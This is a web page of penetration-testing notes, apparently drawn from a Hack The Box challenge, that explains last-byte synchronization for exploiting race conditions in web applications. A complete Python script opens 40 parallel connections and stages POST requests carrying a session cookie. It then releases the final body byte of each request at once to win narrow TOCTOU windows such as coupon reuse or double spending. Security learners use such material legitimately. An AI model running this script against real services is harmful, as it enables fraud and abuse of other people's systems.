Skip to content
Last-byte synchronization

Last-byte synchronization

Race condition — last-byte synchronization with http.client

A narrow TOCTOU window requires tighter control over when each request becomes complete. Each worker opens a separate TCP connection, sends the HTTP request line, headers, and all but the final body byte, then waits at the shared barrier.

The Content-Length header states how many body bytes belong to the request. After receiving fewer bytes, the HTTP message body remains incomplete. This technique applies when the target server or framework waits for the complete body before the vulnerable application operation begins; a stack that streams partial request bodies into application code can behave differently.

connection 1 -> headers + body[:-1] -> waiting for 1 byte
connection 2 -> headers + body[:-1] -> waiting for 1 byte
connection 3 -> headers + body[:-1] -> waiting for 1 byte
                                      |
                                barrier.wait()
                                      |
connection 1 -> body[-1:] ------------+
connection 2 -> body[-1:] ------------+-> complete requests
connection 3 -> body[-1:] ------------+

Releasing the barrier sends only one remaining byte on every prepared connection. Connection setup, headers, and almost the complete body are therefore removed from the timed portion of the race. The synchronization point becomes completion of the HTTP messages rather than invocation of the Python request functions.

The barrier itself is unchanged. The ordinary pattern synchronizes the start of each high-level request; this pattern moves the same barrier to the final byte of each low-level request. It is also not HTTP pipelining: every connection carries one request, while pipelining places multiple requests sequentially on the same connection.

import http.client
import json
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

ENDPOINT = "/<ENDPOINT>"
COOKIE_NAME = "<COOKIE_NAME>"
THREADS = 40
barrier = threading.Barrier(THREADS)

def fire(cookie):
    data = {
        "<FIELD>": "<VALUE>"
    }
    # convert the JSON body to bytes so Content-Length matches the transmitted body
    payload = json.dumps(data).encode()
    # get only the host and optional port from the root target URL
    host = URL.split("://")[1]
    # create one HTTP connection for this worker
    connection = http.client.HTTPConnection(host, timeout=10)
    # open the TCP connection before reaching the barrier
    connection.connect()
    # stage the request line and headers
    connection.putrequest("POST", ENDPOINT)
    connection.putheader("Content-Type", "application/json")
    connection.putheader("Content-Length", str(len(payload)))
    connection.putheader("Cookie", f"{COOKIE_NAME}={cookie}")
    connection.endheaders()
    # send all but the final body byte; the server waits for the advertised length
    connection.send(payload[:-1])
    # hold this worker after its connection and body prefix are already staged
    barrier.wait()
    # complete every staged request by releasing only the final byte
    connection.send(payload[-1:])
    r = connection.getresponse()
    response_text = r.read().decode()
    connection.close()
    return response_text

cookie = "<SESSION_COOKIE_VALUE>"
with ThreadPoolExecutor(max_workers=THREADS) as ex:
    futures = []
    for i in range(THREADS):
        future = ex.submit(fire, cookie)
        futures.append(future)

    success_count = 0
    for future in as_completed(futures):
        response_text = future.result()
        if "<SUCCESS_MARKER>" in response_text:
            success_count += 1

print(f"[+] Successful requests: {success_count}")

An HTTPS target uses http.client.HTTPSConnection in place of http.client.HTTPConnection. The target must accept an HTTP/1.1 request with a non-empty, fixed-length body; payload[:-1] stages the body and payload[-1:] completes it.

Find by: race condition, last byte synchronization, last byte sync, http client, http.client, content length, incomplete request body, narrow toctou, simultaneous requests, parallel connections, barrier, coupon race, double spend · Source: HTB/DiogenesRage